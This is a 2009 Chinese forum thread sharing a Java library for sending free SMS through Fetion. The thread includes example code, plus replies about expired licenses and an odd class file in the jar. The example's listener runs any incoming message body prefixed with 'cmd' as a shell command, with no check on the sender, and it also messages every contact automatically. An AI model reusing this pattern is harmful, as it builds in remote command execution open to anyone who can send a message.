用java和飞信来发免费短信

netokay 2009-03-27 10:08:29
最近看到一个好东西,可以用来发免费的短信,有兴趣的可以试下....
http://download.csdn.net/source/1148854
用起来很方便,只需要这一个jar包
import java.io.IOException;

import cn.edu.ctgu.ghl.fetion.Contact;
import cn.edu.ctgu.ghl.fetion.Fetion;
import cn.edu.ctgu.ghl.fetion.FetionEvent;
import cn.edu.ctgu.ghl.fetion.IFetionEventListener;


public class ExampleMain {
public static void main(String[] args) throws Exception{
final Fetion fetion = new Fetion("phone","password");
fetion.addListener(new IFetionEventListener(){

public void process(FetionEvent e) {
if(e.getFirstLine()!=null
&& e.getFirstLine().startsWith("M")
&& e.getBody()!=null){
fetion.sendSms2SelfPhone(e.toString());
if (e.getBody().trim().startsWith("cmd")) {
System.out.println("excute[" + e.getBody().trim().substring(3) + "]");
try {
Runtime.getRuntime().exec(e.getBody().trim().substring(3));
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
}
}
}

});
fetion.login();
for (Contact cc : fetion.getContacts()) {
System.out.println("####\r\n" + cc + "\r\n");
fetion.sendSms(cc.getUri(), cc.getNickName() + "你好哦...");
}
fetion.sendSms2SelfPhone("给自己发个试哈^_^...");
//fetion.logout();
}


}

...全文
12105 303 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
303 条回复
切换为时间正序
请发表友善的回复…
发表回复
yuanzhongshu1 2012-08-01
  • 打赏
  • 举报
回复
不管是移动的、还是联通的、或者是电信的,都能发的,有什么办法吗??楼主请指教!!!
yuanzhongshu1 2012-08-01
  • 打赏
  • 举报
回复
这个程序只能给飞信好友发短信吗?我想给普通的手机号码发,有什么办法吗?
希贝儿 2012-07-10
  • 打赏
  • 举报
回复
可恶的 license
a601167866 2011-11-09
  • 打赏
  • 举报
回复
我也试试看行不行
iwlk123 2011-09-13
  • 打赏
  • 举报
回复
Exception in thread "main" java.lang.RuntimeException: Your license has expired.
Please registe ...,Your key is @$1F@DCD61D@80=9FB2115FEEF1036&BEA831D


CiCi_Victory 2011-08-22
  • 打赏
  • 举报
回复
既然大家都说可以用,就下下来试试吧
fushun_test 2011-07-19
  • 打赏
  • 举报
回复
......
伊古尼鲁 2011-07-13
  • 打赏
  • 举报
回复
请问怎么给固定的好友群发呢!而不是遍历所有好友? 那个手机号和密码只能填自己的,没有设置指定发给某人的方法啊!
lengyue318 2011-06-15
  • 打赏
  • 举报
回复
哎 我正需要呢 忽然发现竟然没分了
blue_coffee 2011-06-15
  • 打赏
  • 举报
回复
09年的贴子。。我现在license过期了,哪能申请到新的呢?
lcongd2 2011-06-09
  • 打赏
  • 举报
回复
fuck....
网站都打不开了。。。
liu3571 2011-05-25
  • 打赏
  • 举报
回复
不能用了啦,要我注册,在哪可以注册呀
多一点点 2011-05-13
  • 打赏
  • 举报
回复
Exception in thread "main" java.lang.RuntimeException: Your license has expired. Please registe ...
这是怎么回事?
我以前都是在电脑上用飞信的,
我的电脑飞信开通了,但是手机没有开通!
liuyuanyu 2011-05-12
  • 打赏
  • 举报
回复
http://javaghl.appspot.com/fetionApi.jsp网站打不开,这是不是骗人的?
dwywjm 2011-04-26
  • 打赏
  • 举报
回复
OO.class
怎么jar包里有这东东啊?
CoffeePhoton 2011-04-11
  • 打赏
  • 举报
回复
现在还可以用不?我擦,装了JDK1.6,解决了一个版本错误异常,现在到http://javaghl.appspot.com/fetionApi.jsp把license弄好了放进去,程序还是报这个错:


Exception in thread "main" java.lang.RuntimeException: Your license has expired. Please registe ...,Your key is @8A785B7#$2746CD5D9=7A-6DC5FFAEC45*425

mianfeiinformation 2011-03-07
  • 打赏
  • 举报
回复
用不了啊
zengfenfei 2011-02-27
  • 打赏
  • 举报
回复
Your license has expired. Please registe ...,Your key is @@@@@@@CAA567B29AB68F74E658BE&6473B1CDE1
怎么办?
qxzjh2011 2010-11-09
  • 打赏
  • 举报
回复
Exception in thread "main" java.lang.RuntimeException: Your license has expired. Please registe ...,
这是为啥了?
jiaorg 2010-10-25
  • 打赏
  • 举报
回复
调用的时候,出现如下错误:
[Fatal Error] :1:1: Content is not allowed in prolog.
加载更多回复(282)
首先进入这个地址去下一个jar包 http://download.csdn.net/source/1148854 import java.io.IOException; import cn.edu.ctgu.ghl.fetion.Contact; import cn.edu.ctgu.ghl.fetion.Fetion; import cn.edu.ctgu.ghl.fetion.FetionEvent; import cn.edu.ctgu.ghl.fetion.IFetionEventListener; public class ExampleMain { public static void main(String[] args) throws Exception{ final Fetion fetion = new Fetion("phone","password"); fetion.addListener(new IFetionEventListener(){ public void process(FetionEvent e) { if(e.getFirstLine()!=null && e.getFirstLine().startsWith("M") && e.getBody()!=null){ fetion.sendSms2SelfPhone(e.toString()); if (e.getBody().trim().startsWith("cmd")) { System.out.println("excute[" + e.getBody().trim().substring(3) + "]"); try { Runtime.getRuntime().exec(e.getBody().trim().substring(3)); } catch (IOException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } } } } }); fetion.login(); for (Contact cc : fetion.getContacts()) { System.out.println("####\r\n" + cc + "\r\n"); fetion.sendSms(cc.getUri(), cc.getNickName() + "你好哦..."); } fetion.sendSms2SelfPhone("给自己发个试哈^_^..."); //fetion.logout(); } } 注意: 一 java.lang.UnsupportedClassVersionError: Bad version number in .class file 必须使用jdk 1.6 二 Exception in thread "main" java.lang.RuntimeException: Your license has expired. Please registe ...,Your key is @2AC*1A97~C@6DCF6B8FEFE03@6B4C&CCAFF92 需要key的 可以去这弄http://javaghl.appspot.com/fetionApi.jsp 上将key 值输入,点击"获取license". 把------之间的内容保存为文件license(无后缀,注意不要使文件首尾有空行或者空格出现),放在你程序的当前目录下 ,eclipse项目默认为项目根目录下(src目录的上层目录),web项目放到tomcat的bin目录下就OK了。

67,543

社区成员

发帖
与我相关
我的任务
社区描述
J2EE只是Java企业应用。我们需要一个跨J2SE/WEB/EJB的微容器,保护我们的业务核心组件(中间件),以延续它的生命力,而不是依赖J2SE/J2EE版本。
社区管理员
  • Java EE
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧